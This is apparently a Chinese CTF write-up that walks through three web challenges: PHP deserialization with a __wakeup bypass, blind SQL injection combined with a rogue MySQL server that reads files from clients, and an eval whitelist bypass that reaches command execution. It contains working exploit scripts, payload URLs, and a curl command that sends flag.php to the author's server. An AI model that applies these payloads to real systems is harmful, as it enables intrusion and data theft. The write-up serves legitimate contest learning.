第十二届全国大学生信息安全竞赛创新实践能力赛 web writeup

上周末(4/20~4/21)战队难得一起再打了个比赛,大概是大学生活里最后一场了吧,这里复盘下三个Web。

1556296722250

JustSoso

使用伪协议 (http://xxx.changame.ichunqiu.com/index.php?file=php://filter/convert.base64-encode/resource=index.php) 读取到index.php和hint.php。

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

整体思路是利用Handle实例反序列化时调用的析构函数触发getFlag(),但有几个阻碍。

  • $this->token === $this->token_flag 需要这两个属性值相等才能读到文件,而token值不变,token_flag的值总是在变化。

  • 1
    2
    3
    4
    5
    6
    7
    8
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
    if (preg_match("/flag/",$value)) {
    die('stop hacking!');
    exit();
    }
    }

    url中不能包含flag字样,而反序列化后的字符串必然会包含 flag

  • 1
    2
    3
    4
    5
    6
      public function __wakeup(){
    foreach(get_object_vars($this) as $k => $v) {
    $this->$k = null;
    }
    echo "Waking up\n";
    }

    字符串反序列化时会自动调用对象中的 __wakeup 方法,这里 __wakeup 方法将所有属性值置空,下面 __destruct 的时候就找不到 $handle 了。

整体方法

1
2
3
4
<?php
$f=new Flag('flag.php');
$target="[url]/index.php?file=hint.php&payload=" . urlencode(serialize(new handle($f)));
echo $target;

访问输出的链接。

问题一

__construct 是在对象创建时自动调用,在反序列化时并不会被调用,这给了我们操纵token值的机会。

由于rand(1,10000) 返回值可能性并不多,可以采用爆破。

1
2
3
4
5
<?php
$f=new Flag('flag.php');
$f->token=md5("6666");
$target="[url]/index.php?file=hint.php&payload=" . urlencode(serialize(new handle($f)));
echo $target;

重复访问输出的链接。

当然并不是说跑够一万次就一定能碰上,如果手气不好也可能总遇不到。

1556301976594

那么可以采用每一次将token赋为不同的值,遍历全部一万种可能,直观上感觉这样做还碰不到的可能性会小很多。

上面是大力出奇迹的做法,还有比较优雅的做法:将token指向token_flag的引用或相反,那么当一者改变时另一个会跟随。

1556334139275

问题二

正则看起来绕不过去,直接访问 Flag.php 返回404,说明服务端是大小写敏感的。突破点在于 parse_url 遇到畸形url时会解析失败,那么后面的正则自然不起作用了。

1556337395749

问题三

PHP有过一个漏洞 CVE-2016-7124 ,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行。

参考文章:

解法

1
2
3
4
5
6
7
8
9
10
11
class Handle{...}
class Flag{...}

$f=new Flag("flag.php");
$f->token=&$f->token_flag;
$g=serialize(new handle($f));
$gg=str_replace(":1:{s", ":2:{s", $g);
echo "http://[url]///index.php?file=hint.php&payload=" . urlencode($gg);
/*
http://[url]///index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%224e4b5fbbbb602b6d35bea8460aa8f8e5%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
*/

1556338767937

全宇宙最简单的SQL

基于exp()函数报错的盲注,加上在未知列名情况下注出数据的技巧,可得到user表第二列数据为 F1AG@1s-
at_/fll1llag_h3r3 ,作为admin的密码登录后进入后台,可以连接远程数据库,伪造MySQL服务的可以读取flag
文件。知识点在DDCTF2017和DDCTF2019出现过。

记录个盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import requests,re
url = 'http://39.97.227.64:52105/'


headers = {
"Content-Length": "40",
"Cache-Control": "max-age=0",
"Origin": "http://39.106.224.151:52105",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "http://39.106.224.151:52105/",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "PHPSESSID=uj6gjpnpsham8ihv8alnegm8e0",
"Connection": "close"
}

# payload = "'^exp({}-ascii(substr((select ),{},1)))#"
# payload = "admin'^exp({}-ascii(substr((select `2` from (select 1,2 union select * from user)orz#),{},1)))#"
payload = "'^exp({}-ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),{},1)))#"


p = {
'username': payload,
'password': 'admin'
}

e = 709
c = 126
j = 1
import time
res = ''
while j < 30:
print str(j)
for i in range(32,127):
p['username'] = payload.format(e + c, j)
r = requests.post(url, data=p, headers=headers)
# print r.headers['Content-Length']
# print r.content
if re.findall("数据库操作失败", r.content) == []:
res += chr(c)
print res
break
c -= 1
# time.sleep(1)
j += 1
c = 126

盲注结果:

1556339105434

MySQL服务端伪造脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket
file="/fll1llag_h3r3"
s=socket.socket()
s.bind(("",3306))
s.listen(5)
c,ip=s.accept()
c.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
c.recv(666)
c.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
c.recv(666)
c.sendall(chr(len(file)+1)+"\x00\x00\x01\xFB"+file)
print c.recv(666)
c.close()

伪造结果:

1556339247851

参考文章:

love_math

calc.php泄露源码

1556340949356

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

通过base_convert将十进制转三十六进制,可以得到小写字母和数字共三十六种字符,再通过异或、与、或进一步得到更大的字符集。受限于总长度为小于80个字符,将base_convert赋值给pi方便重复使用。

遍历发现123456789abcdefghijklmnopqrstuvwxyz123456789abcdefghijklmnopqrstuvwxyz 按位异或可得到可打印字符集A@CBEDGFIHKJMLONQPSRUTWVYX[Z]\_^ ,可以构造出_GET 。使用花括号取偏移,再使用exec执行命令,构造出等价于exec($_GET{1}) 的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import itertools
res=set()
ii=""
jj=""
cmd="_GET"
for k in cmd:
for i,j in itertools.product("123456789abcdefghijklmnopqrstuvwxyz","0123456789abcdefghijklmnopqrstuvwxyz"):
kk=chr(ord(i)^ord(j))
if k==kk:
ii=ii+i
jj+=j
break
res.add(kk)
print ii,jj #1111 nvte
print ''.join(res) # A@CBEDPSRUTWVYX[Z]\_^

1111nvte 作为36进制数,转为10进制数分别得到:47989和1114322。可以使用在线工具或PHP的base_convert函数转换。

最终访问路径为calc.php?c=$pi=base_convert;$pi(696468,10,36)(${$pi(47989,10,36)^$pi(1114322,10,36)}{1})&1=curl%20my.vps%20-F%20'data=@flag.php' 。在服务端监听即可收到flag.php内容。

初步实现命令执行

1556339847768

获取flag

1556339857688

如果长度放宽一点,这些思路也许也可以:

1
2
3
4
5
system(cat `ls`)
$pi=base_convert;$pi(1751504350,10,36)($pi(963893486026,10,36)&$pi(963910328843,10,36))

system(cat $(ls))
$pi=base_convert;pi(1751504350,10,36)(pi(573877,10,36)&pi(573887,10,36)$(pi((784,10,36))))